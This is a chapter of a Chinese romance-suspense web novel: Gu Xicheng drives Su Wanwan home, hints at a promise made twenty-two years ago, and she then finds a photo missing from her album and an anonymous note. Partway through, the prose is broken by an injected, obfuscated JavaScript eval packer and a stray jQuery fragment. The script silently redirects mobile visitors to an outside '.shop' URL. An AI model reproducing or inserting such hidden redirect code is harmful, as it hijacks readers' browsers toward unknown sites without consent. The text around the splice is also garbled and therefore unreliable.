包厢里的人散得很慢。
先是秋姨起身送客，然后是几张她不熟悉的面孔鱼贯而出，每个人经过苏晚晚身边时都微微颔首。她坐在角落，手里端着一杯已经凉掉的普洱，茶汤表面浮着一层细碎的白沫。从坐下到站起来，中间隔了将近四个小时，她几乎没有离开过那把椅子。桌上的菜撤了三轮，烟灰缸换过两回，最后一轮续上的白茶也只喝了一次，壶底汪着一层浅金色的茶汤。
她起身时腰微微发酸，把空茶杯放回桌上，杯底在桌面磕出一声极轻的脆响，然后拿起帆布包。
包厢的门被人从外面推开了。
顾西城站在门口，西装外套搭在小臂上，衬衫袖口卷了两圈，露出一截手腕。头发有些乱，像是被风随意拨过，额前落下一缕，遮住一侧眉峰。他看了她一眼，没说话，往旁边侧了侧身。
苏晚晚从他身边走过时闻到一股很淡的酒气——不是浓烈的刺鼻味，而是一种发酵过的、暖烘烘的味道，像是黄酒或朗姆酒的余韵，混着他身上雪松香水的底调。她没停下，走到走廊尽头时，听见身后的脚步声不紧不慢地跟着，保持着五六步的距离。
下了楼梯，推开“隐”的大门，夜风迎面扑过来。没有月亮，天空被云层遮得严严实实，街灯的光线被雾气折射得有些朦胧。路边停着一辆银灰色的迈巴赫，车灯亮了，闪了两下。
顾西城从她身边走过，拉开副驾的车门，回头看她。
“上车，我送你。”
苏晚晚站在台阶上，把帆布包的带子往肩上拢了拢。“不用，我打车。”
“这个点的建设路不好打车。”他说得很平淡，没有劝的意思，像是在陈述一个事实，“上车吧，我顺路。”
“你怎么知道我住哪？”
顾西城的目光在她脸上停了一瞬，没有回答那个问题。他伸手在车门框上沿轻轻拍了拍，像是赶走上面并不存在的灰尘。“你不上车，我就只能在这儿陪你站着。锦城十二月的夜风不是闹着玩的，你穿得不多。”
苏晚晚低头看了一眼自己身上那件薄针织衫——确实穿得不够，但她出来的时候没想过会待到这么晚，也没料到他会在门口等她。她走下台阶，在车门边站了两秒，然后弯腰钻了进去。
车内暖气开得很足，座椅是真皮的，散发着一股淡淡的护理油气味。她系好安全带，把包放在膝盖上，双手交叠压在包面上，指尖对着同一个方向。
顾西城上车后没急着发动引擎，先伸手把空调出风口调了个方向——原本对着她脸吹的风口被他转到了下方。引擎低鸣着启动，车厢里安静了几秒，只有暖气的嗡嗡声。
“你今晚喝了不少。”
“应酬。”他说，“秋姨组的局，不好不喝。”
苏晚晚侧过头看了他一眼。他的眼睛看着前方，路灯的光从挡风玻璃上流过，在侧脸上投下明暗交替的光影。他开车的时候不说话，不是那种沉默，而是一种专心——像在做一件需要全神贯注的事。
车开过三个路口，等了一个红灯，在第四个路口右转，拐进一条两边种满法国梧桐的小路。苏晚晚没有指路，他也没有问。
“你今天在饭桌上不怎么说话。”顾西城忽然开口，声音不高，像是自言自语，“秋姨给你介绍的那几个人，你不感兴趣？”
“我感兴趣。”苏晚晚说，“但我更想知道他们为什么坐在这张桌子上。”
顾西城的嘴角动了一下，没有笑出来，但像是听到了一个不坏的答案。“你觉得为什么？”
“因为秋姨的面子，和傅家的倒台预期。”
车子在红灯前停下来。顾西城松开方向盘，伸手在中控台下面摸了一下，摸出一个银色的保温杯，拧开喝了一口，又拧回去放好。动作很自然，像做过无数次。
“傅家还没倒，”他说，“但地基已经松了。”
苏晚晚没有说话。她把目光移到车窗外——路边的店铺一家接一家地关门，卷帘门拉下来，露出下面沾着灰的台阶。她想起下午黄会计说过的那些话，想起那条被标记的红线。她什么都没对顾西城说，只是把帆布包在膝盖上换了个位置，拉链齿在布料上刮出一声短促的脆响。
“你不想问我什么？”顾西城的声音打破沉默，车子拐进一条更窄的巷子，车轮碾过一个松动的井盖，发出一声沉闷的哐当。
苏晚晚没有立刻回答。她看着车前那束被路灯照亮的柏油路面，路面上有一些细小的反光点，像是雨水干涸后留下的盐粒。“你觉得我应该问什么？”
“问我为什么帮你。”他说，语气里带着一丝让人琢磨不透的认真，“或者问我跟秋姨是什么时候认识的，跟我母亲又是什么关系。”
苏晚晚没有接话。她的手指在帆布包的拉链头上停住了，指尖扣在金属齿牙之间。
“你家里有一本相册。第三页，你母亲抱着你坐在一张藤椅上，背后是一棵桂花树。”顾西城的声音很轻，像在念一段自己已经背过很多次的课文，“那张照片是我母亲拍的。”
苏晚晚的手指从拉链头上松开了。她看着前方，车窗外的路灯光线一段一段地滑过，像慢速播放的胶片。她感觉到自己的呼吸停了一瞬，然后重新接上。
“你从来没跟我说过。”
“你从来没问过。”他说，顿了半拍，又补了一句，“而且这种事，不应该在饭桌上说。”
车子在建设路七号院门口停下来。顾西城熄了火，但没有解锁车门。他靠在座椅上，双手搁在方向盘上，看着前方那条窄巷子——巷子深处有一盏路灯，灯泡发出嗡嗡的电流声，光一明一暗地闪烁着。
“我今天晚上喝多了。”他说，声音里带着一点苦笑，“所以才会跟你说这些话。”
苏晚晚侧过头看着他。他的侧脸在路灯的光线下轮廓分明，下颌线条清晰，眼睛看着前方。她注意到他握着方向盘的手指微微收紧了，指节泛白。
“你是不是觉得，我应该感动？”苏晚晚的声音很轻，没有讽刺，也没有抗拒，“一个男人等了二十多年，终于找到了那个被弄丢的未婚妻。”
顾西城没有立刻回答。他靠在座椅上，目光仍然落在前方那条被路灯照亮的巷子里。过了一会儿才开口，声音不高不低：“我不希望你感动。我只希望你不要觉得，我是因为你父亲欠的那笔债，或者因为你手里那份证据，才站在这儿的。”
苏晚晚没有说话。她把手指从帆布包的拉链头上移开，放在膝盖上，指尖轻轻摩挲着裤子侧缝的布料。“那你是为什么？”
顾西城转过头来看她。他的目光在她脸上停了很长时间，久到车厢里的那段短暂沉默变得有些微妙。“因为我在二十二年前答应过一件事。”他说，“到时间了。”
他伸手按了车门解锁键，“咔嗒”一声，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741861|209111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
门锁弹开了。
苏晚晚推开车门，冷风灌进来。她下车，站在路边等了一会儿。车窗降下来，露出顾西城的侧脸，他没有回头。
“那本相册，”他说，“你回去翻一下第三页。你母亲的照片里，有一张是她跟我母亲在院子里拍的——你母亲抱着你，她站在旁边，手里拎着一串糖葫芦。”
车窗升了上去。引擎声重新响起，车子慢慢调头，沿着来时的方向开走了。尾灯在雾气里变成两团模糊的红色，越来越小，最后消失在下个路口的拐弯处。
苏晚晚站在路灯下，看着那两团红光彻底熄灭，才转身走进巷子。她摸黑爬上三楼，掏钥匙开门，没有开灯，径直走到床边坐下。她从床头柜下面的抽屉里翻出那本相册——封皮是深蓝色的布面，边角已经磨损，露出里面的纸板。
她没有找到第三页。
照片已经不在那里了。
她翻了一遍，又翻了一遍。第三页的位置是空的，相册的内页上只留下一道长方形的浅色压痕——像是有什么东西在那里放过很久，刚刚被人取走。
她不知道自己站在那儿多久。只觉得手心的汗把相册的布封皮洇湿了一小块。
她拿出手机，拨了顾西城的号码。响了两声，通了。
“照片，”她说，声音压得很低，但自己听着都觉得陌生，“第三页那张照片，你拿走了？”
电话那头沉默了两秒。顾西城的声音传过来，比刚才清醒了许多：“我没拿。”
苏晚晚没有说话。她握着手机，站在那里，看着那一道长方形的浅色压痕，边缘清晰，像是被人用尺子比着撕下来的。
“你在哪里？”顾西城问。
“在家。”
“别动。我过来。”
电话挂断了。苏晚晚把手机放下来，低头看着相册里那道空白——纸张的表面比周围略浅，像一块愈合之后又被撕开的皮肤。她伸手碰了一下那道凹痕，指尖感觉到极其细微的凹陷。
窗帘没有拉严，路灯的光从缝隙里挤进来，在地板上投下一道细长的光痕，像一条笔直的线，一路延伸到她的脚尖前面。她站在那里，忽然想起上一回站在这个位置，是在烧完那些证据的那天晚上。那天她进来，没开灯，也是站在这里，看着地板上的光。
她不知道这两件事之间有没有关系。
她把相册合上，放回抽屉，没有拉上抽屉，只是站在那儿，看着那扇半开的抽屉边缘。她不觉得害怕——比恐惧更早来到的是一种奇异的清醒，像是有人在她额头上按了一下，把她从某个漫长的梦里叫醒了。
窗外的路灯忽然闪了一下，然后又亮起来。光线在那一瞬间的停顿里换了个方向，照在床头柜的角落，照亮了什么东西——一张叠得整整齐齐的便签纸，压在闹钟下面。
她不记得自己在那里放过纸。
她走过去，把便签纸拿起来展开，上面只有一行字，黑色的圆珠笔写的，笔画平稳，没有署名：
“照片在我这里。想知道为什么，明天中午十二点，隐，二楼竹影间。”
苏晚晚握着那张便签纸，指尖按在纸张边缘。纸是普通的A4打印纸裁成的，边缘参差不齐，像是被人用刀片随手裁开的。她没有把纸折回去，也没有放回闹钟下面，只是把它对折，塞进外套口袋里。
然后她坐在床边，在黑暗里等顾西城的车到。